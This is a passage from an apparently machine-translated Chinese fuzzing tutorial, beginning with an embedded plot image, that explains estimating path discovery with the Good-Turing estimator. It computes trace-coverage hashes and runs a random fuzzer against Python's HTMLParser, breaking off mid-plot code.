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
+)
+
+我们看到，增强型模糊器始终优于随机模糊器。
+
+## 估计路径发现[的概率](#Estimating-the-Probability-of-Path-Discovery)
+
+那么，图灵对海军之谜的观察与模糊*任意*程序有什么关系？ 图灵的助手 Good扩展并发布了Turing在Biometrica（关于理论生物统计学的期刊）上的估算程序的工作，该期刊至今仍存在。 好没讲过卦。 相反，他称它们为“物种”。 因此，给出了GT估计器，以在给定现有个体样本（每个样本都完全属于一个物种）的情况下估计发现新物种的可能性。
+
+现在，我们也可以将程序输入与物种相关联。 例如，我们可以将输入所行使的路径定义为该输入的种类。 这将使我们能够*估计模糊检测发现新路径的可能性。* 稍后，我们将看到这种发现概率估计值还如何估计尚未发现漏洞的可能性（残留风险）。
+
+我们开工吧。 我们通过计算该输入所执行的语句集上的哈希ID来确定该输入的种类。 在 [Coverage](Coverage.html) 一章中，我们了解了 [Coverage类](Coverage.html#A-Coverage-Class)，该类收集已执行的Python函数的coverage信息。 例如，介绍了功能 [`cgi_decode()`](Coverage.html#A-CGI-Decoder) 。 函数`cgi_decode()`接受为网站URL编码的字符串，并将其解码回其原始形式。
+
+这是`cgi_decode()`的功能以及如何计算覆盖率。
+
+```py
+from [Coverage](Coverage.html) import Coverage, cgi_decode
+
+```
+
+```py
+encoded = "Hello%2c+world%21"
+with Coverage() as cov:
+    decoded = cgi_decode(encoded)
+
+```
+
+```py
+decoded
+
+```
+
+```py
+'Hello, world!'
+
+```
+
+```py
+print(cov.coverage());
+
+```
+
+```py
+{('cgi_decode', 22), ('cgi_decode', 32), ('cgi_decode', 21), ('cgi_decode', 26), ('cgi_decode', 15), ('cgi_decode', 20), ('cgi_decode', 25), ('cgi_decode', 19), ('cgi_decode', 24), ('__exit__', 25), ('cgi_decode', 18), ('cgi_decode', 12), ('cgi_decode', 17), ('cgi_decode', 11), ('cgi_decode', 16), ('cgi_decode', 10), ('cgi_decode', 31), ('cgi_decode', 9), ('cgi_decode', 30), ('cgi_decode', 23)}
+
+```
+
+### 迹线覆盖范围
+
+首先，我们将介绍执行跟踪的概念，它是输入所采用的执行路径的粗略抽象。 与路径的定义相比，跟踪忽略了执行语句的顺序或执行每个语句的频率。
+
+*   `pickle.dumps()`-通过根据对象中的所有信息生成字节数组来序列化对象
+*   `hashlib.md5()`-从字节数组生成128位哈希值
+
+```py
+import [pickle](https://docs.python.org/3/library/pickle.html)
+import [hashlib](https://docs.python.org/3/library/hashlib.html)
+
+```
+
+```py
+def getTraceHash(cov):
+    pickledCov = pickle.dumps(cov.coverage())
+    hashedCov = hashlib.md5(pickledCov).hexdigest()
+    return hashedCov
+
+```
+
+还记得我们的海军谜机模型吗？ 每条消息必须使用正好一个三字母组解密，而同一条三字母组可以解密多个消息。 同样，我们需要每个输入精确生成一个跟踪哈希，而多个输入可以生成相同的跟踪哈希。
+
+让我们看看对于我们的`getTraceHash()`函数是否正确。
+
+```py
+inp1 = "a+b"
+inp2 = "a+b+c"
+inp3 = "abc"
+
+with Coverage() as cov1:
+    cgi_decode(inp1)
+with Coverage() as cov2:
+    cgi_decode(inp2)
+with Coverage() as cov3:
+    cgi_decode(inp3)
+
+```
+
+输入`inp1`和`inp2`执行相同的语句：
+
+```py
+inp1, inp2
+
+```
+
+```py
+('a+b', 'a+b+c')
+
+```
+
+```py
+cov1.coverage() - cov2.coverage()
+
+```
+
+```py
+set()
+
+```
+
+两个覆盖集之间的差异为空。 因此，跟踪散列应该相同：
+
+```py
+getTraceHash(cov1)
+
+```
+
+```py
+'48cdf4f9e78b186502020c5a95eba3d4'
+
+```
+
+```py
+getTraceHash(cov2)
+
+```
+
+```py
+'48cdf4f9e78b186502020c5a95eba3d4'
+
+```
+
+```py
+assert getTraceHash(cov1) == getTraceHash(cov2)
+
+```
+
+相反，输入`inp1`和`inp3`执行*不同的*语句：
+
+```py
+inp1, inp3
+
+```
+
+```py
+('a+b', 'abc')
+
+```
+
+```py
+cov1.coverage() - cov3.coverage()
+
+```
+
+```py
+{('cgi_decode', 20)}
+
+```
+
+因此，跟踪哈希也应该不同：
+
+```py
+getTraceHash(cov1)
+
+```
+
+```py
+'48cdf4f9e78b186502020c5a95eba3d4'
+
+```
+
+```py
+getTraceHash(cov3)
+
+```
+
+```py
+'04938c7022bf2e3a3c759b34aa3ce07b'
+
+```
+
+```py
+assert getTraceHash(cov1) != getTraceHash(cov3)
+
+```
+
+### 随时间测量迹线覆盖率
+
+为了测量执行`population`模糊输入的`function`的迹线覆盖范围，我们对[关于覆盖率](Coverage.html#Coverage-of-Basic-Fuzzing)的章节中的`population_coverage()`功能进行了一些调整。
+
+```py
+def population_trace_coverage(population, function):
+    cumulative_coverage = []
+    all_coverage = set()
+    cumulative_singletons = []
+    cumulative_doubletons = []
+    singletons = set()
+    doubletons = set()
+
+    for s in population:
+        with Coverage() as cov:
+            try:
+                function(s)
+            except BaseException:
+                pass
+        cur_coverage = set([getTraceHash(cov)])
+
+        # singletons and doubletons -- we will need them later
+        doubletons -= cur_coverage
+        doubletons |= singletons & cur_coverage
+        singletons -= cur_coverage
+        singletons |= cur_coverage - (cur_coverage & all_coverage)
+        cumulative_singletons.append(len(singletons))
+        cumulative_doubletons.append(len(doubletons))
+
+        # all and cumulative coverage
+        all_coverage |= cur_coverage
+        cumulative_coverage.append(len(all_coverage))
+
+    return all_coverage, cumulative_coverage, cumulative_singletons, cumulative_doubletons
+
+```
+
+让我们看看在给定`cgi_decode`的三个输入的情况下，我们的新功能是否真的仅包含*两个*迹线的覆盖率信息。
+
+```py
+all_coverage = population_trace_coverage([inp1, inp2, inp3], cgi_decode)[0]
+assert len(all_coverage) == 2
+
+```
+
+不幸的是，`cgi_decode()`功能太简单了。 相反，我们将使用原始的Python [HTMLParser](https://docs.python.org/3/library/html.parser.html) 作为测试对象。
+
+```py
+from [Fuzzer](Fuzzer.html) import RandomFuzzer
+from [Coverage](Coverage.html) import population_coverage
+from [html.parser](https://docs.python.org/3/library/html.parser.html) import HTMLParser
+
+```
+
+```py
+trials = 50000  # number of random inputs generated
+
+```
+
+让我们以$ n = 50000 $次运行一个随机模糊器，并绘制随时间变化的迹线覆盖范围。
+
+```py
+# create wrapper function
+def my_parser(inp):
+    parser = HTMLParser()  # resets the HTMLParser object for every fuzz input
+    parser.feed(inp)
+
+```
+
+```py
+# create random fuzzer
+fuzzer = RandomFuzzer(min_length=1, max_length=100,
+                      char_start=32, char_range=94)
+
+# create population of fuzz inputs
+population = []
+for i in range(trials):
+    population.append(fuzzer.fuzz())
+
+# execute and measure trace coverage
+trace_timeseries = population_trace_coverage(population, my_parser)[1]
+
+# execute and measure code coverage
+code_timeseries = population_coverage(population, my_parser)[1]
+
+# plot trace coverage over time
+plt.figure(num=None, figsize=(12, 4), dpi=80, facecolor='w', edgecolor='k')
+plt.subplot(1, 2, 1)
+plt.plot(trace_timeseries)
+plt.xlabel('# of fuzz inputs')
+plt.ylabel('# of traces exercised')
+plt.title('Trace Coverage Over Time')
+
+# plot code coverage over time
+plt.subplot(1, 2, 2)
+plt.plot(code_timeseries)
+plt.xlabel('# of fuzz inputs')
+plt.ylabel('# of statements covered')
